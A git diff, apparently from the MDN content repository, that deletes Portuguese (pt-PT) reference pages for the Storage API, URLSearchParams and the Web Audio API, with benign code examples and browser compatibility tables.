-<p>{{securecontext_header}}{{DefaultAPISidebar("Storage")}}</p>
-
-<p>The Storage Standard defines a common, shared storage system to be used by all APIs and technologies that store content-accessible data for individual Web sites. The Storage API gives sites' code the ability to find out how much space they can use, how much they are already using, and even control whether or not they need to be alerted before the {{Glossary("user agent")}} disposes of site data in order to make room for other things.</p>
-
-<p>{{AvailableInWorkers}}</p>
-
-<p>Site storage—the data stored for a Web site which is managed by the Storage Standard—includes:</p>
-
-<ul>
- <li><a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB databases</a></li>
- <li><a href="/en-US/docs/Web/API/Cache">Cache API data</a></li>
- <li><a href="/en-US/docs/Web/API/Service_Worker_API">Service Worker registrations</a></li>
- <li><a href="/en-US/docs/Web/API/Web_Storage_API">Web Storage API data</a> managed using {{domxref("window.localStorage")}}</li>
- <li>History state information saved using {{domxref("History.pushState()")}}</li>
- <li><a href="/pt-PT/docs/Web/HTML/Utilizar_a_cache_de_aplicacao">Caches de aplicação</a></li>
- <li><a href="/en-US/docs/Web/API/Notifications_API">Notification data</a></li>
- <li>Other kinds of site-accessible, site-specific data that may be maintained</li>
-</ul>
-
-<h2 id="Unidades_de_armazenamento_de_site">Unidades de armazenamento de site</h2>
-
-<p>The site storage system described by the Storage Standard and interacted with using the Storage API consists of a single <strong>site storage unit</strong> for each {{Glossary("origin")}}. In essence, every Web site or Web application has its own storage unit into which its data gets placed. The diagram below shows a site storage pool with three storage units within, showing how storage units can have different data types stored within and may have different quotas (maximum storage limits).</p>
-
-<p><img alt="A diagram showing how the site storage pool consists of multiple storage units that contain data from various APIs as well as possible unused space left before the quota is reached." src="https://mdn.mozillademos.org/files/14379/StorageUnits.png" style="height: 412px; width: 600px;"></p>
-
-<ul>
- <li>Origin 1 has some Web Storage data as well as some IndexedDB data, but also has some free space left; its current usage hasn't yet reached its quota.</li>
- <li>Origin 2 has no data stored in it yet; it's just an empty box waiting for content. This origin, however, has a lower quota than the other two do. It may be a less-visited site, or one known to have lower data storage requirements.</li>
- <li>Origin 3's storage unit is completely full; it's reached its quota and can't store any more data without some existing material being removed.</li>
-</ul>
-
-<p>{{Glossary("User agent", "User agents")}} are likely to use various techniques to determine the quota for various origins. One of the most likely methods—one which the specification specifically encourages, in fact—would be to consider the popularity and/or usage levels of individual sites to determine what their quotas should be.  It's also conceivable that the browser might offer a user interface to customize these quotas.</p>
-
-<h2 id="Modos_de_caixa_(Box)">Modos de caixa (Box)</h2>
-
-<p>The actual data storage within each site storage unit is called its <strong>box</strong>. Each site storage unit has exactly one box into which all of its data is placed, and has a <strong>box mode</strong> that describes the data retention policy for that box. There are two modes:</p>
-
-<dl>
- <dt><code>"best-effort"</code></dt>
- <dd>The user agent will try to retain the data contained in the box for as long as it can, <em>but will not warn users</em> if storage space runs low and it becomes necessary to clear the box in order to relieve the storage pressure.</dd>
- <dt><code>"persistent"</code></dt>
- <dd>The user agent will retain the data as long as possible, clearing all <code>"best-effort"</code> boxes before considering clearing a box marked <code>"persistent"</code>. If it becomes necessary to consider clearing persistent boxes, the user agent will notify the user and provide a way to clear one or more persistent boxes as needed.</dd>
-</dl>
-
-<p>To change an origin's box mode requires permission to use the <code>"persistent-storage"</code> feature.</p>
-
-<h2 id="Persistência_de_dados_e_limpeza">Persistência de dados e limpeza</h2>
-
-<p>If the site or app has the <strong><code>"persistent-storage"</code></strong> feature permission, it can use the {{domxref("StorageManager.persist()")}} method to request that its box be made persistent. It's also possible for the user agent to decide to make the site's storage unit persistent due to usage characteristics or other metrics. The <code>"persistent-storage"</code> feature's permission-related flags, algorithms, and types are all set to the standard defaults for a permission, except that the <strong>permission state</strong> must be the same across the entire origin, and that if the permission state isn't <code>"granted"</code> (meaning that for whatever reason, access to the persistent storage feature was denied), the origin's site storage unit's box mode is always <code>"best-effort"</code>.</p>
-
-<div class="note">
-<p><strong>Nota</strong>: Consulte <a href="/en-US/docs/Web/API/Permissions_API/Using_the_Permissions_API">Using the Permissions API</a> para mais detalhes sobre como obter e gerir as permissões.</p>
-</div>
-
-<p>When clearing site storage units, an origin's box is treated as a single entity; if the user agent needs to clear it and the user approves, the entire data store is cleared rather than providing some means of clearing only data from individual APIs.</p>
-
-<p>If a box is marked as <code>"persistent"</code>, the contents won't be cleared by the user agent without either the data's origin itself or the user specifically doing so. This includes scenarios such as the user selecting a "Clear Caches" or "Clear Recent History" option. The user will be asked specifically for permission to remove persistent site storage units.</p>
-
-<h2 id="Quotas_e_estimativas_de_utilização">Quotas e estimativas de utilização</h2>
-
-<p>The user agent determines, using whatever mechanism it chooses, the maximum amount of storage a given site can use. This maximum is the origin's <strong>quota</strong>. The amount of this space which is in use by the site is called its <strong>usage</strong>. Both of these values are estimates; there are several reasons why they're not precise:</p>
-
-<ul>
- <li>User agents are encouraged to obscure the exact size of the data used by a given origin, to prevent these values from being used for fingerprinting purposes.</li>
- <li>De-duplication, compression, and other methods to reduce the physical size of the stored data may be used.</li>
- <li>Quotas are conservative estimates of the space available for the origin's use, and should be less than the available space on the device to help prevent overruns.</li>
-</ul>
-
-<p>User agents may use any method they choose to determine the size of origins' quotas, and are encouraged by the specification to provide popular or frequently-used sites with extra space.</p>
-
-<p>To determine the estimated quota and usage values for a given origin, use the {{domxref("StorageManager.estimate", "navigator.storage.estimate()")}} method, which returns a promise that, when resolved, receives a {{domxref("StorageEstimate")}} that contains these figures. For example:</p>
-
-<pre class="brush: js">navigator.storage.estimate().then(estimate =&gt; {
-  // estimate.quota is the estimated quota
- // estimate.usage is the estimated number of bytes used
-});</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- <tr>
- <td>{{SpecName('Storage')}}</td>
- <td>{{Spec2('Storage')}}</td>
- <td>Definição inicial.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2>
-
-<div>
-<h3 id="StorageManager"><code>StorageManager</code></h3>
-
-<div>
-
-
-<p>{{Compat("api.StorageManager")}}</p>
-</div>
-</div>
-
-<h2 id="Consultar_também">Consultar também</h2>
-
-<ul>
- <li>{{domxref("NavigatorStorage.storage", "navigator.storage")}}</li>
- <li>{{domxref("StorageManager")}} (the object returned by <code>navigator.storage</code>)</li>
- <li><a href="/en-US/docs/Web/API/Permissions_API/Using_the_Permissions_API">Using the Permissions API</a></li>
-</ul>
diff --git a/files/pt-pt/web/api/urlsearchparams/index.html b/files/pt-pt/web/api/urlsearchparams/index.html
deleted file mode 100644
index 3cbed3eea5..0000000000
--- a/files/pt-pt/web/api/urlsearchparams/index.html
+++ /dev/null
@@ -1,207 +0,0 @@
----
-title: URLSearchParams
-slug: Web/API/URLSearchParams
-translation_of: Web/API/URLSearchParams
----
-<p>{{ApiRef("URL API")}}</p>
-
-<p>O interface <strong><code>URLSearchParams </code></strong>define métodos que permitem trabalhar com uma <em>query string</em> de um URL.</p>
-
-<p>Um objeto que implemente <code>URLSearchParams </code>pode ser utilizado diretamente numa estrutura {{jsxref("Statements/for...of", "for...of")}}, em vez de {{domxref('URLSearchParams.entries()', 'entries()')}}: <code>for (var p of mySearchParams) é equivalente a</code> <code>for (var p of mySearchParams.entries())</code>.</p>
-
-<h2 id="Construtor">Construtor</h2>
-
-<dl>
- <dt>{{domxref("URLSearchParams.URLSearchParams", 'URLSearchParams()')}}</dt>
- <dd>O construtor devolve um objeto <code>URLSearchParams</code>.</dd>
-</dl>
-
-<h2 id="Propriedades">Propriedades</h2>
-
-<p><em>Este interface não herda nehuma propriedade.</em></p>
-
-<h2 id="Métodos">Métodos</h2>
-
-<p><em>Este interface não herda nehum método.</em></p>
-
-<dl>
- <dt>{{domxref("URLSearchParams.append()")}}</dt>
- <dd>Adiciona um par chave/valor como um novo parâmetro de pesquisa.</dd>
- <dt>{{domxref("URLSearchParams.delete()")}}</dt>
- <dd>Elimina o parâmetro de pesquisa e o seu valor, da lista de parâmetros de pesquisa.</dd>
- <dt>{{domxref("URLSearchParams.entries()")}}</dt>
- <dd>Devolve um {{jsxref("Iteration_protocols","iterator")}} que permite iterar pelos pares chave/valor neste objeto.</dd>
- <dt>{{domxref("URLSearchParams.get()")}}</dt>
- <dd>Devolve o primeiro valor relacionado com o parâmetro de pesquisa enviado.</dd>
- <dt>{{domxref("URLSearchParams.getAll()")}}</dt>
- <dd>Devolve todos os valores relacionados com um determinado parâmetro de pesquisa.</dd>
- <dt>{{domxref("URLSearchParams.has()")}}</dt>
- <dd>Devolve um {{jsxref("Boolean")}} , indicando de um determinado parâmetro de pesquisa existe.</dd>
- <dt>{{domxref("URLSearchParams.keys()")}}</dt>
- <dd>Devolve um {{jsxref("Iteration_protocols", "iterator")}} permitindo interar pelas <strong>chaves</strong> de todos os pares chave/valor existentes no objeto.</dd>
- <dt>{{domxref("URLSearchParams.set()")}}</dt>
- <dd>Define o valor associado a um parâmetro de pesquisa. Elimina outros valores se existirem.</dd>
- <dt>{{domxref("URLSearchParams.toString()")}}</dt>
- <dd>Devolve uma string com os parâmetros válidos para serem utilizados num URL.</dd>
- <dt>{{domxref("URLSearchParams.values()")}}</dt>
- <dd>Devolve um {{jsxref("Iteration_protocols", "iterator")}} que permite iterar por todos os <strong>valores</strong> dos pares chave/valor existentes neste objeto.</dd>
-</dl>
-
-<h2 id="Exemplo">Exemplo</h2>
-
-<pre class="brush: js">var paramsString = "q=URLUtils.searchParams&amp;topic=api"
-var searchParams = new URLSearchParams(paramsString);
-
-//Iterar pelos parâmetros de pesquisa.
-for (let p of searchParams) {
-  console.log(p);
-}
-
-searchParams.has("topic") === true; // true
-searchParams.get("topic") === "api"; // true
-searchParams.getAll("topic"); // ["api"]
-searchParams.get("foo") === null; // true
-searchParams.append("topic", "webdev");
-searchParams.toString(); // "q=URLUtils.searchParams&amp;topic=api&amp;topic=webdev"
-searchParams.set("topic", "More webdev");
-searchParams.toString(); // "q=URLUtils.searchParams&amp;topic=More+webdev"
-searchParams.delete("topic");
-searchParams.toString(); // "q=URLUtils.searchParams"
-</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{SpecName('URL', '#urlsearchparams', "URLSearchParams")}}</td>
- <td>{{Spec2('URL')}}</td>
- <td>Definição inicial.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_Browsers">Compatibilidade Browsers</h2>
-
-<p>{{ CompatibilityTable() }}</p>
-
-<div id="compat-desktop">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Funcionalidade</th>
- <th>Chrome</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari</th>
- </tr>
- <tr>
- <td>Suporte básico</td>
- <td>{{CompatChrome(49)}}</td>
- <td>{{CompatGeckoDesktop("29.0")}}</td>
- <td>{{CompatNo}}</td>
- <td>36</td>
- <td>10.1</td>
- </tr>
- <tr>
- <td><code>entries()</code>, <code>keys()</code>, <code>values()</code>, e suporte de <code>for...of</code></td>
- <td>{{CompatChrome(49)}}</td>
- <td>{{CompatGeckoDesktop("44.0")}}</td>
- <td>{{CompatNo}}</td>
- <td>36</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>USVString</code> for constructor <code>init</code> object</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatGeckoDesktop("53.0")}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td>Record for constructor <code>init</code> object</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatGeckoDesktop("54.0")}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="compat-mobile">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Funcionalidade</th>
- <th>Android</th>
- <th>Android Webview</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>IE Mobile</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- <th>Chrome para Android</th>
- </tr>
- <tr>
- <td>Suporte básico</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatChrome(49)}}</td>
- <td>{{CompatGeckoMobile("29.0")}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatChrome(49)}}</td>
- </tr>
- <tr>
- <td><code>entries()</code>, <code>keys()</code>, <code>values()</code>, e suport de <code>for...of</code></td>
- <td>{{CompatNo}}</td>
- <td>{{CompatChrome(49)}}</td>
- <td>{{CompatGeckoMobile("44.0")}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatChrome(49)}}</td>
- </tr>
- <tr>
- <td><code>USVString</code> for constructor <code>init</code> object</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatGeckoMobile("53.0")}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- <tr>
- <td>Record for constructor <code>init</code> object</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatGeckoMobile("54.0")}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>Outros interfaces relacionados com URL: {{domxref("URL")}}, {{domxref("URLUtils")}}.</li>
- <li><a href="https://developers.google.com/web/updates/2016/01/urlsearchparams?hl=en">Google Developers: Manipulação simples de URL com URLSearchParams</a></li>
-</ul>
-
-<dl>
-</dl>
diff --git a/files/pt-pt/web/api/web_audio_api/index.html b/files/pt-pt/web/api/web_audio_api/index.html
deleted file mode 100644
index 815ab1ad91..0000000000
--- a/files/pt-pt/web/api/web_audio_api/index.html
+++ /dev/null
@@ -1,512 +0,0 @@
----
-title: API de Áudio da Web
-slug: Web/API/Web_Audio_API
-tags:
- - API
- - API de Áudio da Web
- - Exemplo
- - Guía
- - Landing
- - Overview
- - Resumo
- - Web Audio API
-translation_of: Web/API/Web_Audio_API
----
-<div>
-<p>The Web Audio API provides a powerful and versatile system for controlling audio on the Web, allowing developers to choose audio sources, add effects to audio, create audio visualizations, apply spatial effects (such as panning)  and much more.</p>
-</div>
-
-<h2 id="Conceitos_e_utilização_de_áudio_da_Web">Conceitos e utilização de áudio da <em>Web</em></h2>
-
-<p>The Web Audio API involves handling audio operations inside an <strong>audio context</strong>, and has been designed to allow <strong>modular routing</strong>. Basic audio operations are performed with <strong>audio nodes</strong>, which are linked together to form an <strong>audio routing graph</strong>. Several sources — with different types of channel layout — are supported even within a single context. This modular design provides the flexibility to create complex audio functions with dynamic effects.</p>
-
-<p>Audio nodes are linked into chains and simple webs by their inputs and outputs. They typically start with one or more sources. Sources provide arrays of sound intensities (samples) at very small timeslices, often tens of thousands of them per second. These could be either computed mathematically (such as {{domxref("OscillatorNode")}}), or they can be recordings from sound/video files (like {{domxref("AudioBufferSourceNode")}} and {{domxref("MediaElementAudioSourceNode")}}) and audio streams ({{domxref("MediaStreamAudioSourceNode")}}). In fact, sound files are just recordings of sound intensities themselves, which come in from microphones or electric instruments, and get mixed down into a single, complicated wave.</p>
-
-<p>Outputs of these nodes could be linked to inputs of others, which mix or modify these streams of sound samples into different streams. A common modification is multiplying the samples by a value to make them louder or quieter (as is the case with {{domxref("GainNode")}}). Once the sound has been sufficiently processed for the intended effect, it can be linked to the input of a destination ({{domxref("AudioContext.destination")}}), which sends the sound to the speakers or headphones. This last connection is only necessary if the user is supposed to hear the audio.</p>
-
-<p>A simple, typical workflow for web audio would look something like this:</p>
-
-<ol>
- <li>Create audio context</li>
- <li>Inside the context, create sources — such as <code>&lt;audio&gt;</code>, oscillator, stream</li>
- <li>Create effects nodes, such as reverb, biquad filter, panner, compressor</li>
- <li>Choose final destination of audio, for example your system speakers</li>
- <li>Connect the sources up to the effects, and the effects to the destination.</li>
-</ol>
-
-<p><img alt="A simple box diagram with an outer box labeled Audio context, and three inner boxes labeled Sources, Effects and Destination. The three inner boxes have arrow between them pointing from left to right, indicating the flow of audio information." src="https://mdn.mozillademos.org/files/12241/webaudioAPI_en.svg" style="display: block; height: 143px; margin: 0px auto; width: 643px;"></p>
-
-<p>Timing is controlled with high precision and low latency, allowing developers to write code that responds accurately to events and is able to target specific samples, even at a high sample rate. So applications such as drum machines and sequencers are well within reach.</p>
-
-<p>The Web Audio API also allows us to control how audio is <em>spatialized</em>. Using a system based on a <em>source-listener model</em>, it allows control of the <em>panning model</em> and deals with <em>distance-induced attenuation</em> or <em>doppler shift</em> induced by a moving source (or moving listener).</p>
-
-<div class="note">
-<p>You can read about the theory of the Web Audio API in a lot more detail in our article <a href="/en-US/docs/Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API">Basic concepts behind Web Audio API</a>.</p>
-</div>
-
-<h2 id="Interfaces_de_API_de_Áudio_da_Web">Interfaces de API de Áudio da <em>Web</em></h2>
-
-<p>The Web Audio API has a number of interfaces and associated events, which we have split up into nine categories of functionality.</p>
-
-<h3 id="General_audio_graph_definition">General audio graph definition</h3>
-
-<p>General containers and definitions that shape audio graphs in Web Audio API usage.</p>
-
-<dl>
- <dt>{{domxref("AudioContext")}}</dt>
- <dd>The <strong><code>AudioContext</code></strong> interface represents an audio-processing graph built from audio modules linked together, each represented by an {{domxref("AudioNode")}}. An audio context controls the creation of the nodes it contains and the execution of the audio processing, or decoding. You need to create an <code>AudioContext</code> before you do anything else, as everything happens inside a context.</dd>
- <dt>{{domxref("AudioNode")}}</dt>
- <dd>The <strong><code>AudioNode</code></strong><strong> </strong>interface represents an audio-processing module like an <em>audio source</em> (e.g. an HTML {{HTMLElement("audio")}} or {{HTMLElement("video")}} element), <em>audio destination</em>, <em>intermediate processing module</em> (e.g. a filter like {{domxref("BiquadFilterNode")}}, or <em>volume control</em> like {{domxref("GainNode")}}).</dd>
- <dt>{{domxref("AudioParam")}}</dt>
- <dd>The <strong><code>AudioParam</code></strong><strong> </strong>interface represents an audio-related parameter, like one of an {{domxref("AudioNode")}}. It can be set to a specific value or a change in value, and can be scheduled to happen at a specific time and following a specific pattern.</dd>
- <dt>The {{event("ended")}} event</dt>
- <dd>The <code>ended</code> event is fired when playback has stopped because the end of the media was reached.</dd>
-</dl>
-
-<h3 id="Defining_audio_sources">Defining audio sources</h3>
-
-<p>Interfaces that define audio sources for use in the Web Audio API.</p>
-
-<dl>
- <dt>{{domxref("OscillatorNode")}}</dt>
- <dd>The <strong><code style="font-size: 14px;">OscillatorNode</code></strong><strong> </strong>interface represents a periodic waveform, such as a sine or triangle wave. It is an {{domxref("AudioNode")}} audio-processing module that causes a given <em>frequency</em> of wave to be created.</dd>
- <dt>{{domxref("AudioBuffer")}}</dt>
- <dd>The <strong><code>AudioBuffer</code></strong> interface represents a short audio asset residing in memory, created from an audio file using the {{ domxref("AudioContext.decodeAudioData()") }} method, or created with raw data using {{ domxref("AudioContext.createBuffer()") }}. Once decoded into this form, the audio can then be put into an {{ domxref("AudioBufferSourceNode") }}.</dd>
- <dt>{{domxref("AudioBufferSourceNode")}}</dt>
- <dd>The <strong><code>AudioBufferSourceNode</code></strong> interface represents an audio source consisting of in-memory audio data, stored in an {{domxref("AudioBuffer")}}. It is an {{domxref("AudioNode")}} that acts as an audio source.</dd>
- <dt>{{domxref("MediaElementAudioSourceNode")}}</dt>
- <dd>The <code><strong>MediaElementAudio</strong></code><strong><code>SourceNode</code></strong> interface represents an audio source consisting of an HTML5 {{ htmlelement("audio") }} or {{ htmlelement("video") }} element. It is an {{domxref("AudioNode")}} that acts as an audio source.</dd>
- <dt>{{domxref("MediaStreamAudioSourceNode")}}</dt>
- <dd>The <code><strong>MediaStreamAudio</strong></code><strong><code>SourceNode</code></strong> interface represents an audio source consisting of a <a href="/en-US/docs/WebRTC" title="/en-US/docs/WebRTC">WebRTC</a> {{domxref("MediaStream")}} (such as a webcam, microphone, or a stream being sent from a remote computer). It is an {{domxref("AudioNode")}} that acts as an audio source.</dd>
-</dl>
-
-<h3 id="Defining_audio_effects_filters">Defining audio effects filters</h3>
-
-<p>Interfaces for defining effects that you want to apply to your audio sources.</p>
-
-<dl>
- <dt>{{domxref("BiquadFilterNode")}}</dt>
- <dd>The <strong><code>BiquadFilterNode</code></strong><strong> </strong>interface represents a simple low-order filter. It is an {{domxref("AudioNode")}} that can represent different kinds of filters, tone control devices, or graphic equalizers. A <code>BiquadFilterNode</code> always has exactly one input and one output.</dd>
- <dt>{{domxref("ConvolverNode")}}</dt>
- <dd>The <code><strong>Convolver</strong></code><strong><code>Node</code></strong><strong> </strong>interface is an <span style="line-height: 1.5;">{{domxref("AudioNode")}} that</span><span style="line-height: 1.5;"> performs a Linear Convolution on a given {{domxref("AudioBuffer")}}, and is often used to achieve a reverb effect</span><span style="line-height: 1.5;">.</span></dd>
- <dt>{{domxref("DelayNode")}}</dt>
- <dd>The <strong><code>DelayNode</code></strong><strong> </strong>interface represents a <a href="http://en.wikipedia.org/wiki/Digital_delay_line" title="http://en.wikipedia.org/wiki/Digital_delay_line">delay-line</a>; an {{domxref("AudioNode")}} audio-processing module that causes a delay between the arrival of an input data and its propagation to the output.</dd>
- <dt>{{domxref("DynamicsCompressorNode")}}</dt>
- <dd>The <strong><code>DynamicsCompressorNode</code></strong> interface provides a compression effect, which lowers the volume of the loudest parts of the signal in order to help prevent clipping and distortion that can occur when multiple sounds are played and multiplexed together at once.</dd>
- <dt>{{domxref("GainNode")}}</dt>
- <dd>The <strong><code>GainNode</code></strong><strong> </strong>interface represents a change in volume. It is an {{domxref("AudioNode")}} audio-processing module that causes a given <em>gain</em> to be applied to the input data before its propagation to the output.</dd>
- <dt>{{domxref("StereoPannerNode")}}</dt>
- <dd>The <code><strong>StereoPannerNode</strong></code> interface represents a simple stereo panner node  that can be used to pan an audio stream left or right.</dd>
- <dt>{{domxref("WaveShaperNode")}}</dt>
- <dd>The <strong><code>WaveShaperNode</code></strong><strong> </strong>interface represents a non-linear distorter. It is an {{domxref("AudioNode")}} that use a curve to apply a waveshaping distortion to the signal. Beside obvious distortion effects, it is often used to add a warm feeling to the signal.</dd>
- <dt>{{domxref("PeriodicWave")}}</dt>
- <dd>Describes a periodic waveform that can be used to shape the output of an {{ domxref("OscillatorNode") }}.</dd>
-</dl>
-
-<h3 id="Defining_audio_destinations">Defining audio destinations</h3>
-
-<p>Once you are done processing your audio, these interfaces define where to output it.</p>
-
-<dl>
- <dt>{{domxref("AudioDestinationNode")}}</dt>
- <dd>The <strong><code>AudioDestinationNode</code></strong> interface represents the end destination of an audio source in a given context — usually the speakers of your device.</dd>
- <dt>{{domxref("MediaStreamAudioDestinationNode")}}</dt>
- <dd>The <code><strong>MediaStreamAudio</strong></code><strong><code>DestinationNode</code></strong> interface represents an audio destination consisting of a <a href="/en-US/docs/WebRTC" title="/en-US/docs/WebRTC">WebRTC</a> {{domxref("MediaStream")}} with a single <code>AudioMediaStreamTrack</code>, which can be used in a similar way to a {{domxref("MediaStream")}} obtained from {{ domxref("MediaDevices.getUserMedia", "getUserMedia()") }}. It is an {{domxref("AudioNode")}} that acts as an audio destination.</dd>
-</dl>
-
-<h3 id="Data_analysis_and_visualization">Data analysis and visualization</h3>
-
-<p>If you want to extract time, frequency, and other data from your audio, the <code>AnalyserNode</code> is what you need.</p>
-
-<dl>
- <dt>{{domxref("AnalyserNode")}}</dt>
- <dd>The <strong><code>AnalyserNode</code></strong> interface represents a node able to provide real-time frequency and time-domain analysis information, for the purposes of data analysis and visualization.</dd>
-</dl>
-
-<h3 id="Splitting_and_merging_audio_channels">Splitting and merging audio channels</h3>
-
-<p>To split and merge audio channels, you'll use these interfaces.</p>
-
-<dl>
- <dt>{{domxref("ChannelSplitterNode")}}</dt>
- <dd>The <code><strong>ChannelSplitterNode</strong></code> interface separates the different channels of an audio source out into a set of <em>mono</em> outputs.</dd>
- <dt>{{domxref("ChannelMergerNode")}}</dt>
- <dd>The <code><strong>ChannelMergerNode</strong></code> interface reunites different mono inputs into a single output. Each input will be used to fill a channel of the output.</dd>
-</dl>
-
-<h3 id="Audio_spatialization">Audio spatialization</h3>
-
-<p>These interfaces allow you to add audio spatialization panning effects to your audio sources.</p>
-
-<dl>
- <dt>{{domxref("AudioListener")}}</dt>
- <dd>The <strong><code>AudioListener</code></strong><strong> </strong>interface represents the position and orientation of the unique person listening to the audio scene used in audio spatialization.</dd>
- <dt>{{domxref("PannerNode")}}</dt>
- <dd>The <strong><code>PannerNode</code></strong><strong> </strong>interface represents the behavior of a signal in space. It is an {{domxref("AudioNode")}} audio-processing module describing its position with right-hand Cartesian coordinates, its movement using a velocity vector and its directionality using a directionality cone.</dd>
-</dl>
-
-<h3 id="Audio_processing_in_JavaScript">Audio processing in JavaScript</h3>
-
-<p>You can write JavaScript code to process audio data. To do so, you use the interfaces and events listed below.</p>
-
-<div class="note">
-<p>As of the August 29, 2014 version of the Web Audio API spec. these features have been marked as deprecated, and are soon to be replaced by {{ anch("Audio_Workers") }}.</p>
-</div>
-
-<dl>
- <dt>{{domxref("ScriptProcessorNode")}}</dt>
- <dd>The <strong><code>ScriptProcessorNode</code></strong><strong> </strong>interface allows the generation, processing, or analyzing of audio using JavaScript. It is an {{domxref("AudioNode")}} audio-processing module that is linked to two buffers, one containing the current input, one containing the output. An event, implementing the {{domxref("AudioProcessingEvent")}} interface, is sent to the object each time the input buffer contains new data, and the event handler terminates when it has filled the output buffer with data.</dd>
- <dt>{{event("audioprocess")}} (event)</dt>
- <dd>The <code>audioprocess</code> event is fired when an input buffer of a Web Audio API {{domxref("ScriptProcessorNode")}} is ready to be processed.</dd>
- <dt>{{domxref("AudioProcessingEvent")}}</dt>
- <dd>The <a href="/en-US/docs/Web_Audio_API" title="/en-US/docs/Web_Audio_API">Web Audio API</a> <code>AudioProcessingEvent</code> represents events that occur when a {{domxref("ScriptProcessorNode")}} input buffer is ready to be processed.</dd>
-</dl>
-
-<h3 id="Offlinebackground_audio_processing">Offline/background audio processing</h3>
-
-<p>It is possible to process/render an audio graph very quickly in the background — rendering it to an {{domxref("AudioBuffer")}} rather than to the device's speakers — with the following.</p>
-
-<dl>
- <dt>{{domxref("OfflineAudioContext")}}</dt>
- <dd>The <strong><code>OfflineAudioContext</code></strong> interface is an {{domxref("AudioContext")}} interface representing an audio-processing graph built from linked together {{domxref("AudioNode")}}s. In contrast with a standard <code>AudioContext</code>, an <code>OfflineAudioContext</code> doesn't really render the audio but rather generates it, <em>as fast as it can</em>, in a buffer.</dd>
- <dt>{{event("complete")}} (event)</dt>
- <dd>The <code>complete</code> event is fired when the rendering of an {{domxref("OfflineAudioContext")}} is terminated.</dd>
- <dt>{{domxref("OfflineAudioCompletionEvent")}}</dt>
- <dd>The <code>OfflineAudioCompletionEvent</code> represents events that occur when the processing of an {{domxref("OfflineAudioContext")}} is terminated. The {{event("complete")}} event implements this interface.</dd>
-</dl>
-
-<h3 id="Audio_Workers" name="Audio_Workers">Audio Workers</h3>
-
-<p>Audio workers provide the ability for direct scripted audio processing to be done inside a <a href="/en-US/docs/Web/Guide/Performance/Using_web_workers">web worker</a> context, and are defined by a couple of interfaces (new as of 29th August 2014). These are not implemented in any browsers yet. When implemented, they will replace {{domxref("ScriptProcessorNode")}}, and the other features discussed in the <a href="#Audio_processing_via_JavaScript">Audio processing in JavaScript</a> section above.</p>
-
-<dl>
- <dt>{{domxref("AudioWorkerNode")}}</dt>
- <dd>The AudioWorkerNode interface represents an {{domxref("AudioNode")}} that interacts with a worker thread to generate, process, or analyse audio directly.</dd>
- <dt>{{domxref("AudioWorkerGlobalScope")}}</dt>
- <dd>The <code>AudioWorkerGlobalScope</code> interface is a <code>DedicatedWorkerGlobalScope</code>-derived object representing a worker context in which an audio processing script is run; it is designed to enable the generation, processing, and analysis of audio data directly using JavaScript in a worker thread.</dd>
- <dt>{{domxref("AudioProcessEvent")}}</dt>
- <dd>This is an <code>Event</code> object that is dispatched to {{domxref("AudioWorkerGlobalScope")}} objects to perform processing.</dd>
-</dl>
-
-<h2 id="Example" name="Example">Interfaces obsoletas</h2>
-
-<p>The following interfaces were defined in old versions of the Web Audio API spec, but are now obsolete and have been replaced by other interfaces.</p>
-
-<dl>
- <dt>{{domxref("JavaScriptNode")}}</dt>
- <dd>Used for direct audio processing via JavaScript. This interface is obsolete, and has been replaced by {{domxref("ScriptProcessorNode")}}.</dd>
- <dt>{{domxref("WaveTableNode")}}</dt>
- <dd>Used to define a periodic waveform. This interface is obsolete, and has been replaced by {{domxref("PeriodicWave")}}.</dd>
-</dl>
-
-<h2 id="Example" name="Example">Exemplo</h2>
-
-<p>This example shows a wide variety of Web Audio API functions being used. You can see this code in action on the <a href="https://mdn.github.io/voice-change-o-matic/">Voice-change-o-matic</a> demo (also check out the <a href="https://github.com/mdn/voice-change-o-matic">full source code at Github</a>) — this is an experimental voice changer toy demo; keep your speakers turned down low when you use it, at least to start!</p>
-
-<p>The Web Audio API lines are highlighted; if you want to find out more about what the different methods, etc. do, have a search around the reference pages.</p>
-
